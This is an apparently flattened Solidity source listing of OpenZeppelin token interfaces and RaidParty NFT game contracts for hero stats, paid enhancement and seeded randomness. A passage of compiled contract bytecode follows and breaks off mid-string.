Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT /// @title RaidParty Hero URI Handler /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/utils/ERC721HolderUpgradeable.sol"; import "../utils/Enhanceable.sol"; import "../interfaces/IHeroURIHandler.sol"; import "../interfaces/IHero.sol"; import "../interfaces/IERC20Burnable.sol"; contract HeroURIHandler is IHeroURIHandler, Initializable, Enhanceable, AccessControlEnumerableUpgradeable, ERC721HolderUpgradeable { using StringsUpgradeable for uint256; // Contract state and constants uint8 public constant MAX_DMG_MULTIPLIER = 17; uint8 public constant MIN_DMG_MULTIPLIER = 12; uint8 public constant MIN_DMG_MULTIPLIER_GENESIS = 13; uint8 public constant MAX_PARTY_SIZE = 6; uint8 public constant MIN_PARTY_SIZE = 4; uint8 public constant MAX_ENHANCEMENT = 14; uint8 public constant MIN_ENHANCEMENT = 0; mapping(uint256 => uint8) private _enhancement; IERC20Burnable private _confetti; address private _team; bool private _paused; modifier whenNotPaused() { require(!_paused, "FighterURIHandler: contract paused"); _; } /** PUBLIC */ function initialize( address admin, address seeder, address hero, address confetti ) public initializer { __AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, admin); __Enhanceable_init(seeder, hero); _confetti = IERC20Burnable(confetti); _team = admin; _paused = true; } // Returns on-chain stats for a given token function getStats(uint256 tokenId) public view override returns (Stats.HeroStats memory) { uint256 seed = _seeder.getSeedSafe(address(_token), tokenId); uint8 enh = _enhancement[tokenId]; uint8 adjustment = _getPartySizeAdjustment(enh); if (tokenId <= 1111) { uint8 dmgMulRange = MAX_DMG_MULTIPLIER - MIN_DMG_MULTIPLIER_GENESIS + 1; return Stats.HeroStats( MIN_DMG_MULTIPLIER_GENESIS + 1 + uint8(seed % dmgMulRange), 6 + adjustment, enh ); } else { uint8 dmgMulRange = MAX_DMG_MULTIPLIER - MIN_DMG_MULTIPLIER + 1; uint8 pSizeRange = MAX_PARTY_SIZE - MIN_PARTY_SIZE + 1; return Stats.HeroStats( MIN_DMG_MULTIPLIER + uint8(seed % dmgMulRange), MIN_PARTY_SIZE + adjustment + uint8( uint256(keccak256(abi.encodePacked(seed))) % pSizeRange ), enh ); } } // Returns the seeder contract address function getSeeder() external view override returns (address) { return address(_seeder); } // Sets the seeder contract address function setSeeder(address seeder) external onlyRole(DEFAULT_ADMIN_ROLE) { _setSeeder(seeder); } // Returns the token URI for off-chain cosmetic data function tokenURI(uint256 tokenId) public pure returns (string memory) { return string(abi.encodePacked(_baseURI(), tokenId.toString())); } /** ENHANCEMENT */ // Returns enhancement cost in confetti, and whether a token must be burned function enhancementCost(uint256 tokenId) external view override(Enhanceable, IEnhanceable) returns (uint256, bool) { return ( _getEnhancementCost(_enhancement[tokenId]), _enhancement[tokenId] > 3 ); } function enhance(uint256 tokenId, uint256 burnTokenId) public override(Enhanceable, IEnhanceable) whenNotPaused { require( tokenId != burnTokenId, "HeroURIHandler::enhance: target token cannot equal burn token" ); require( msg.sender == _token.ownerOf(tokenId), "HeroURIHandler::enhance: enhancer must be token owner" ); uint8 enhancement = _enhancement[tokenId]; require( enhancement < MAX_ENHANCEMENT, "HeroURIHandler::enhance: max enhancement reached" ); uint256 cost = _getEnhancementCost(enhancement); uint256 teamAmount = (cost * 15) / 100; _confetti.transferFrom(msg.sender, _team, teamAmount); _confetti.burnFrom(msg.sender, cost - teamAmount); if (enhancement > 3) { _token.safeTransferFrom(msg.sender, address(this), burnTokenId); _token.burn(burnTokenId); } super.enhance(tokenId, burnTokenId); } // Caller must emit and determine resultant state before calling super function reveal(uint256[] calldata tokenIds) public override whenNotPaused { unchecked { uint8[] memory enhancements = new uint8[](tokenIds.length); for (uint256 i = 0; i < tokenIds.length; i++) { uint256 seed = _getSeed(tokenIds[i]); uint8 enhancement = _enhancement[tokenIds[i]]; bool success = false; bool degraded = false; if (_roll(seed, _getEnhancementOdds(enhancement))) { _enhancement[tokenIds[i]] += 1; success = true; } else if ( _roll( uint256(keccak256(abi.encode(seed))), _getEnhancementDegredationOdds(enhancement) ) && enhancement > MIN_ENHANCEMENT ) { _enhancement[tokenIds[i]] -= 1; degraded = true; } enhancements[i] = enhancement; emit EnhancementCompleted( tokenIds[i], block.timestamp, success, degraded ); } super.reveal(tokenIds); require( _checkOnEnhancement(tokenIds, enhancements), "Enhanceable::reveal: reveal for unsupported contract" ); } } function pause() external onlyRole(DEFAULT_ADMIN_ROLE) { _paused = true; } function unpause() external onlyRole(DEFAULT_ADMIN_ROLE) { _paused = false; } function isGenesis(uint256 tokenId) external pure returns (bool) { return tokenId <= 1111; } /** INTERNAL */ function _getPartySizeAdjustment(uint8 enhancement) internal pure returns (uint8 adjustment) { if (enhancement >= 5) { adjustment = enhancement - 4; } } function _baseURI() internal pure returns (string memory) { return "https://api.raid.party/metadata/hero/"; } function _getEnhancementCost(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 250 * 10**18; } else if (enh == 1) { return 500 * 10**18; } else if (enh == 2) { return 750 * 10**18; } else if (enh == 3) { return 1000 * 10**18; } else if (enh == 4) { return 1250 * 10**18; } else if (enh == 5) { return 1500 * 10**18; } else if (enh == 6) { return 1750 * 10**18; } else if (enh == 7) { return 2000 * 10**18; } else if (enh == 8) { return 2250 * 10**18; } else if (enh == 9) { return 2500 * 10**18; } else if (enh == 10) { return 2500 * 10**18; } else if (enh == 11) { return 2500 * 10**18; } else if (enh == 12) { return 2500 * 10**18; } else if (enh == 13) { return 2500 * 10**18; } else { return type(uint256).max; } } function _getEnhancementOdds(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 9000; } else if (enh == 1) { return 8500; } else if (enh == 2) { return 8000; } else if (enh == 3) { return 7500; } else if (enh == 4) { return 7000; } else if (enh == 5) { return 6500; } else if (enh == 6) { return 6000; } else if (enh == 7) { return 5500; } else if (enh == 8) { return 5000; } else { return 2500; } } function _getEnhancementDegredationOdds(uint256 enh) internal pure returns (uint256) { if (enh == 0) { return 0; } else if (enh == 1) { return 500; } else if (enh == 2) { return 1000; } else if (enh == 3) { return 1500; } else if (enh == 4) { return 2000; } else if (enh == 5) { return 2500; } else if (enh == 6) { return 3000; } else if (enh == 7) { return 3500; } else if (enh == 8) { return 4000; } else { return 5000; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IERC20Burnable is IERC20 { function mint(address to, uint256 amount) external; function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IEnhanceable { struct EnhancementRequest { uint256 id; address requester; } event EnhancementRequested( uint256 indexed tokenId, uint256 indexed timestamp ); event EnhancementCompleted( uint256 indexed tokenId, uint256 indexed timestamp, bool success, bool degraded ); event SeederUpdated(address indexed caller, address indexed seeder); function enhancementCost(uint256 tokenId) external view returns (uint256, bool); function enhance(uint256 tokenId, uint256 burnTokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IEnhancer { function onEnhancement(uint256[] calldata, uint8[] calldata) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IRaidERC721.sol"; import "./IHeroURIHandler.sol"; import "./ISeeder.sol"; interface IHero is IRaidERC721 { event HandlerUpdated(address indexed caller, address indexed handler); function setHandler(IHeroURIHandler handler) external; function getHandler() external view returns (address); function getSeeder() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IEnhanceable.sol"; import "../lib/Stats.sol"; interface IHeroURIHandler is IEnhanceable { function tokenURI(uint256 tokenId) external view returns (string memory); function getStats(uint256 tokenId) external view returns (Stats.HeroStats memory); function getSeeder() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; interface IRaidERC721 is IERC721 { function getSeeder() external view returns (address); function burn(uint256 tokenId) external; function tokensOfOwner(address owner) external view returns (uint256[] memory); function mint(address owner, uint256 amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../lib/Randomness.sol"; interface ISeeder { event Requested(address indexed origin, uint256 indexed identifier); event Seeded(bytes32 identifier, uint256 randomness); function getIdReferenceCount( bytes32 randomnessId, address origin, uint256 startIdx ) external view returns (uint256); function getIdentifiers( bytes32 randomnessId, address origin, uint256 startIdx, uint256 count ) external view returns (uint256[] memory); function requestSeed(uint256 identifier) external; function getSeed(address origin, uint256 identifier) external view returns (uint256); function getSeedSafe(address origin, uint256 identifier) external view returns (uint256); function executeRequestMulti() external; function isSeeded(address origin, uint256 identifier) external view returns (bool); function setFee(uint256 fee) external; function getFee() external view returns (uint256); function getData(address origin, uint256 identifier) external view returns (Randomness.SeedData memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Randomness { struct SeedData { uint256 batch; bytes32 randomnessId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; library Stats { struct HeroStats { uint8 dmgMultiplier; uint8 partySize; uint8 enhancement; } struct FighterStats { uint32 dmg; uint8 enhancement; } struct EquipmentStats { uint32 dmg; uint8 dmgMultiplier; uint8 slot; } } // SPDX-License-Identifier: MIT /// @title RaidParty Helper Contract for Seedability /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; abstract contract Seedable { function _validateSeed(uint256 id) internal pure { require(id != 0, "Seedable: not seeded"); } } // SPDX-License-Identifier: MIT /// @title RaidParty Helper Contract for Enhanceability /** * ___ _ _ ___ _ * | _ \__ _(_)__| | _ \__ _ _ _| |_ _ _ * | / _` | / _` | _/ _` | '_| _| || | * |_|_\__,_|_\__,_|_| \__,_|_| \__|\_, | * |__/ */ pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "../interfaces/ISeeder.sol"; import "../interfaces/IEnhancer.sol"; import "../randomness/Seedable.sol"; import "../interfaces/IEnhanceable.sol"; import "../interfaces/IRaidERC721.sol"; abstract contract Enhanceable is IEnhanceable, Initializable, Seedable { using AddressUpgradeable for address; mapping(uint256 => EnhancementRequest) private _enhancements; uint256 private _enhancementCounter; ISeeder internal _seeder; IRaidERC721 internal _token; function __Enhanceable_init(address seeder, address token) public initializer { _seeder = ISeeder(seeder); _token = IRaidERC721(token); _enhancementCounter = 1; } function getEnhancementRequest(uint256 tokenId) external view virtual returns (EnhancementRequest memory) { return _enhancements[tokenId]; } function enhancementCost(uint256 tokenId) external view virtual returns (uint256, bool); function enhance(uint256 tokenId, uint256) public virtual { require( _enhancements[tokenId].requester == address(0), "Enhanceable::enhance: token bound to pending request" ); _enhancements[tokenId] = EnhancementRequest( _enhancementCounter, msg.sender ); _seeder.requestSeed(_enhancementCounter); unchecked { _enhancementCounter += 1; } emit EnhancementRequested(tokenId, block.timestamp); } // Caller must emit and determine resultant state before calling super function reveal(uint256[] calldata ids) public virtual { unchecked { for (uint256 i = 0; i < ids.length; i++) { delete _enhancements[ids[i]]; } } } function _checkOnEnhancement(uint256[] memory tokenIds, uint8[] memory prev) internal returns (bool) { require( tokenIds.length == prev.length, "Enhanceable: update array length mismatch" ); address owner = _token.ownerOf(tokenIds[0]); for (uint256 i = 0; i < tokenIds.length; i++) { require( _token.ownerOf(tokenIds[i]) == owner, "Enhanceable: tokens not owned by same owner" ); } if (owner.isContract()) { try IEnhancer(owner).onEnhancement(tokenIds, prev) returns ( bytes4 retval ) { return retval == IEnhancer.onEnhancement.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("Enhanceable: transfer to non Enhancer implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _roll(uint256 seed, uint256 probability) internal pure returns (bool) { if (seed % 10000 < probability) { return true; } else { return false; } } function _getSeed(uint256 tokenId) internal view returns (uint256) { return _seeder.getSeedSafe(address(this), _enhancements[tokenId].id); } function _setSeeder(address seeder) internal { _seeder = ISeeder(seeder); emit SeederUpdated(msg.sender, seeder); } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c80639010d07c11610104578063cd9fddf4116100a2578063e5f6397511610071578063e5f63975146104de578063eb48fada146104f1578063f1e25ea8146104f9578063f8c8765e1461050f57600080fd5b8063cd9fddf41461049f578063d50b31eb146104a7578063d547741f146104ba578063dfca4f79146104cd57600080fd5b8063a217fddf116100de578063a217fddf14610451578063b93f208a14610459578063c87b56dd1461046c578063ca15c8731461048c57600080fd5b80639010d07c146103e557806391d14854146104105780639fd5f53b1461044957600080fd5b806336568abe1161017c57806371621db21161014b57806371621db21461036e57806378a8a238146103765780637b3039651461039e5780638456cb59146103dd57600080fd5b806336568abe146103385780633f4ba83a1461034b5780635043a62b146103535780635c7e77321461035b57600080fd5b806316559f97116101b857806316559f97146102715780631974e3f9146102ea578063248a9ca3146102f25780632f2ff15d1461032357600080fd5b806301ffc9a7146101df578063150b7a0214610207578063150ffae814610257575b600080fd5b6101f26101ed366004612510565b610522565b60405190151581526020015b60405180910390f35b61023e610215366004612558565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6040516001600160e01b031990911681526020016101fe565b61025f600d81565b60405160ff90911681526020016101fe565b6102c661027f366004612638565b604080518082019091526000808252602082015250600090815260016020818152604092839020835180850190945280548452909101546001600160a01b03169082015290565b60408051825181526020928301516001600160a01b031692810192909252016101fe565b61025f600481565b610315610300366004612638565b60009081526069602052604090206001015490565b6040519081526020016101fe565b610336610331366004612651565b610566565b005b610336610346366004612651565b610591565b610336610622565b61025f601181565b610336610369366004612681565b61063f565b61025f600081565b610389610384366004612638565b610b06565b604080519283529015156020830152016101fe565b6103b16103ac366004612638565b610b44565b60408051825160ff908116825260208085015182169083015292820151909216908201526060016101fe565b610336610d68565b6103f86103f3366004612681565b610d8b565b6040516001600160a01b0390911681526020016101fe565b6101f261041e366004612651565b60009182526069602090815260408084206001600160a01b0393909316845291905290205460ff1690565b61025f600681565b610315600081565b6103366104673660046126a3565b610daa565b61047f61047a366004612638565b611115565b6040516101fe9190612748565b61031561049a366004612638565b61114f565b61025f600c81565b6103366104b536600461277b565b611166565b6103366104c8366004612651565b61117b565b6003546001600160a01b03166103f8565b6103366104ec366004612798565b6111a1565b61025f600e81565b6101f2610507366004612638565b610457101590565b61033661051d3660046127c6565b61129f565b60006001600160e01b031982167f5a05180f0000000000000000000000000000000000000000000000000000000014806105605750610560826113e0565b92915050565b6000828152606960205260409020600101546105828133611447565b61058c83836114c7565b505050565b6001600160a01b03811633146106145760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c66000000000000000000000000000000000060648201526084015b60405180910390fd5b61061e82826114e9565b5050565b600061062e8133611447565b50610101805460ff60a01b19169055565b61010154600160a01b900460ff16156106a55760405162461bcd60e51b815260206004820152602260248201527f4669676874657255524948616e646c65723a20636f6e74726163742070617573604482015261195960f21b606482015260840161060b565b8082141561071b5760405162461bcd60e51b815260206004820152603d60248201527f4865726f55524948616e646c65723a3a656e68616e63653a207461726765742060448201527f746f6b656e2063616e6e6f7420657175616c206275726e20746f6b656e000000606482015260840161060b565b600480546040517f6352211e0000000000000000000000000000000000000000000000000000000081529182018490526001600160a01b031690636352211e90602401602060405180830381865afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f9190612822565b6001600160a01b0316336001600160a01b0316146108255760405162461bcd60e51b815260206004820152603560248201527f4865726f55524948616e646c65723a3a656e68616e63653a20656e68616e636560448201527f72206d75737420626520746f6b656e206f776e65720000000000000000000000606482015260840161060b565b600082815260ff602081905260409091205416600e81106108ae5760405162461bcd60e51b815260206004820152603060248201527f4865726f55524948616e646c65723a3a656e68616e63653a206d617820656e6860448201527f616e63656d656e74207265616368656400000000000000000000000000000000606482015260840161060b565b60006108bc8260ff1661150b565b9050600060646108cd83600f612855565b6108d7919061288a565b61010054610101546040517f23b872dd0000000000000000000000000000000000000000000000000000000081523360048201526001600160a01b0391821660248201526044810184905292935016906323b872dd906064016020604051808303816000875af115801561094f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610973919061289e565b50610100546001600160a01b03166379cc67903361099184866128c0565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401600060405180830381600087803b1580156109d757600080fd5b505af11580156109eb573d6000803e3d6000fd5b5050505060038360ff161115610af557600480546040517f42842e0e0000000000000000000000000000000000000000000000000000000081523392810192909252306024830152604482018690526001600160a01b0316906342842e0e90606401600060405180830381600087803b158015610a6757600080fd5b505af1158015610a7b573d6000803e3d6000fd5b5050600480546040517f42966c680000000000000000000000000000000000000000000000000000000081529182018890526001600160a01b031692506342966c689150602401600060405180830381600087803b158015610adc57600080fd5b505af1158015610af0573d6000803e3d6000fd5b505050505b610aff8585611675565b5050505050565b600081815260ff602081905260408220548291610b23911661150b565b600093845260ff602081905260409094205490946003919094161192915050565b6040805160608101825260008082526020820181905291810191909152600354600480546040517fff5bf7f90000000000000000000000000000000000000000000000000000000081526001600160a01b039182169281019290925260248201859052600092169063ff5bf7f990604401602060405180830381865afa158015610bd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf691906128d7565b600084815260ff602081905260408220549293509190911690610c18826117f5565b90506104578511610c9b576000610c31600d60116128f0565b610c3c906001612913565b905060405180606001604052808260ff1686610c589190612938565b610c64600d6001612913565b610c6e9190612913565b60ff168152602001610c81846006612913565b60ff1681526020018460ff16815250945050505050919050565b6000610ca9600c60116128f0565b610cb4906001612913565b90506000610cc4600460066128f0565b610ccf906001612913565b905060405180606001604052808360ff1687610ceb9190612938565b610cf690600c612913565b60ff1681526020018260ff1687604051602001610d1591815260200190565b6040516020818303038152906040528051906020012060001c610d389190612938565b610d43866004612913565b610d4d9190612913565b60ff1681526020018560ff1681525095505050505050919050565b6000610d748133611447565b50610101805460ff60a01b1916600160a01b179055565b6000828152609b60205260408120610da3908361180d565b9392505050565b61010154600160a01b900460ff1615610e105760405162461bcd60e51b815260206004820152602260248201527f4669676874657255524948616e646c65723a20636f6e74726163742070617573604482015261195960f21b606482015260840161060b565b60008167ffffffffffffffff811115610e2b57610e2b612542565b604051908082528060200260200182016040528015610e54578160200160208202803683370190505b50905060005b8281101561105a576000610e85858584818110610e7957610e7961294c565b90506020020135611819565b9050600060ff6000878786818110610e9f57610e9f61294c565b6020908102929092013583525081019190915260400160009081205460ff16915080610ed384610ece856118b5565b61195e565b15610f2957600160ff60008a8a89818110610ef057610ef061294c565b60209081029290920135835250810191909152604001600020805460ff19811660ff918216939093011691909117905560019150610fc3565b610f6484604051602001610f3f91815260200190565b6040516020818303038152906040528051906020012060001c610ece8560ff16611983565b8015610f72575060ff831615155b15610fc357600160ff60008a8a89818110610f8f57610f8f61294c565b60209081029290920135835250810191909152604001600020805460ff19811660ff91821693909303169190911790555060015b82868681518110610fd657610fd661294c565b602002602001019060ff16908160ff168152505042888887818110610ffd57610ffd61294c565b905060200201357f17a374fef4d399cb50b569659b5757fe6f6c1a236acc0149fe42f796e98ee260848460405161104292919091151582521515602082015260400190565b60405180910390a3505060019092019150610e5a9050565b506110658383611a2b565b6110a3838380806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250859250611a83915050565b61058c5760405162461bcd60e51b815260206004820152603460248201527f456e68616e636561626c653a3a72657665616c3a2072657665616c20666f722060448201527f756e737570706f7274656420636f6e7472616374000000000000000000000000606482015260840161060b565b606061111f611e09565b61112883611e29565b604051602001611139929190612962565b6040516020818303038152906040529050919050565b6000818152609b6020526040812061056090611f2f565b60006111728133611447565b61061e82611f39565b6000828152606960205260409020600101546111978133611447565b61058c83836114e9565b600054610100900460ff166111bc5760005460ff16156111c0565b303b155b6112325760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161060b565b600054610100900460ff16158015611254576000805461ffff19166101011790555b600380546001600160a01b038086166001600160a01b03199283161790925560048054928516929091169190911790556001600255801561058c576000805461ff0019169055505050565b600054610100900460ff166112ba5760005460ff16156112be565b303b155b6113305760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161060b565b600054610100900460ff16158015611352576000805461ffff19166101011790555b61135a611f85565b61136560008661200a565b61136f84846111a1565b61010080546001600160a01b038085166001600160a01b03199092169190911790915561010180547fffffffffffffffffffffff0000000000000000000000000000000000000000001691871691909117600160a01b1790558015610aff576000805461ff00191690555050505050565b60006001600160e01b031982167f7965db0b00000000000000000000000000000000000000000000000000000000148061056057507f01ffc9a7000000000000000000000000000000000000000000000000000000006001600160e01b0319831614610560565b60008281526069602090815260408083206001600160a01b038516845290915290205460ff1661061e57611485816001600160a01b03166014612014565b611490836020612014565b6040516020016114a1929190612991565b60408051601f198184030181529082905262461bcd60e51b825261060b91600401612748565b6114d182826121d9565b6000828152609b6020526040902061058c908261227b565b6114f38282612290565b6000828152609b6020526040902061058c9082612313565b6000816115225750680d8d726b7177a80000919050565b816001141561153b5750681b1ae4d6e2ef500000919050565b816002141561155457506828a857425466f80000919050565b816003141561156d5750683635c9adc5dea00000919050565b816004141561158657506843c33c193756480000919050565b816005141561159f5750685150ae84a8cdf00000919050565b81600614156115b85750685ede20f01a45980000919050565b81600714156115d15750686c6b935b8bbd400000919050565b81600814156115ea57506879f905c6fd34e80000919050565b8160091415611603575068878678326eac900000919050565b81600a141561161c575068878678326eac900000919050565b81600b1415611635575068878678326eac900000919050565b81600c141561164e575068878678326eac900000919050565b81600d1415611667575068878678326eac900000919050565b50600019919050565b919050565b600082815260016020819052604090912001546001600160a01b0316156117045760405162461bcd60e51b815260206004820152603460248201527f456e68616e636561626c653a3a656e68616e63653a20746f6b656e20626f756e60448201527f6420746f2070656e64696e672072657175657374000000000000000000000000606482015260840161060b565b6040805180820182526002805482523360208084019182526000878152600191829052859020935184559051920180546001600160a01b0319166001600160a01b03938416179055600354905492517fa9df851a0000000000000000000000000000000000000000000000000000000081526004810193909352169063a9df851a90602401600060405180830381600087803b1580156117a357600080fd5b505af11580156117b7573d6000803e3d6000fd5b50506002805460010190555050604051429083907f9decd01177e5628464489f01eefedd43d7ef0fd8cc63d054f8a0dea6eea94eec90600090a35050565b600060058260ff1610611670576105606004836128f0565b6000610da38383612328565b6003546000828152600160205260408082205490517fff5bf7f9000000000000000000000000000000000000000000000000000000008152306004820152602481019190915290916001600160a01b03169063ff5bf7f990604401602060405180830381865afa158015611891573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061056091906128d7565b6000816118c55750612328919050565b81600114156118d75750612134919050565b81600214156118e95750611f40919050565b81600314156118fb5750611d4c919050565b816004141561190d5750611b58919050565b816005141561191f5750611964919050565b81600614156119315750611770919050565b8160071415611943575061157c919050565b81600814156119555750611388919050565b506109c4919050565b60008161196d61271085612938565b101561197b57506001610560565b506000610560565b60008161199257506000919050565b81600114156119a457506101f4919050565b81600214156119b657506103e8919050565b81600314156119c857506105dc919050565b81600414156119da57506107d0919050565b81600514156119ec57506109c4919050565b81600614156119fe5750610bb8919050565b8160071415611a105750610dac919050565b8160081415611a225750610fa0919050565b50611388919050565b60005b8181101561058c5760016000848484818110611a4c57611a4c61294c565b602090810292909201358352508101919091526040016000908120908155600190810180546001600160a01b031916905501611a2e565b60008151835114611afc5760405162461bcd60e51b815260206004820152602960248201527f456e68616e636561626c653a20757064617465206172726179206c656e67746860448201527f206d69736d617463680000000000000000000000000000000000000000000000606482015260840161060b565b60045483516000916001600160a01b031690636352211e9086908490611b2457611b2461294c565b60200260200101516040518263ffffffff1660e01b8152600401611b4a91815260200190565b602060405180830381865afa158015611b67573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b8b9190612822565b905060005b8451811015611cb95760045485516001600160a01b03808516921690636352211e90889085908110611bc457611bc461294c565b60200260200101516040518263ffffffff1660e01b8152600401611bea91815260200190565b602060405180830381865afa158015611c07573d6000803e3d6000fd5